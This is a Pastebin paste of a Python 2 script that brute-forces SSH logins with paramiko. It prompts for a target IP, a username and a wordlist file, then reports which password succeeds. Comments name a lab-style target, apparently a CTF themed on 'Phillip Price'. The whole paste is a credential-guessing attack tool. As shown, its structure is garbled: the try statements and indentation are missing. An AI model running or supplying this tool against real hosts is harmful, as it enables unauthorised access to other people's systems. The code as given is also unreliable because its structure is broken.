a guest Dec 31st, 2018 104 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
- import paramiko, sys, os, socket # importing the required modules
- global host, username, line, input_file # declaring global variables which can be assigned anywhere in the program
- line = "\n............................................................\n"
- def ssh_connect(password, code= 0):
- ssh = paramiko.SSHClient()
- ssh.connect(host, port=22, username=username, password=password) # Prices open SSH port is standard 22.
- except paramiko.AuthenticationException:
- #[*] Authentication Failed ...
- code = 1
- except socket.error, e:
- #[*] Connection Failed ... Host Down"
- code = 2
- return code
- host = raw_input("[*] Enter Target IP Address: ") # Prices Computer IP Address: 192.168.122.132
- username = raw_input("[*] Enter SSH Username: ") # Prices Username: Phillip Price
- input_file = raw_input("[*] Enter SSH Password File: ") # Password File Name: passwords.txt
- if os.path.exists(input_file) == False:
- print "\n[*] File Path Does Not Exist" # If the file path is not found the program will exit.
- except KeyboardInterrupt:
- print "\n\n[*] User Requested An Interrupt" # CTRL+C if user wants to close program.
- input_file = open(input_file) # Opens the file
- print ''
- for i in input_file.readlines():
- password = i.strip("\n")
- response = ssh_connect(password)
- if response == 0:
- print("%s[*] User: %s [*] Pass Found: %s%s" % (line, username, password, line))
- elif response == 1:
- print("[*] User: %s [*] Pass %s ==> Login Incorrect !!! <==" % (username, password))
- elif response == 2:
- print("[*] Connection Failed: %s" % (host))
- except Exception, e:
- print e
RAW Paste Data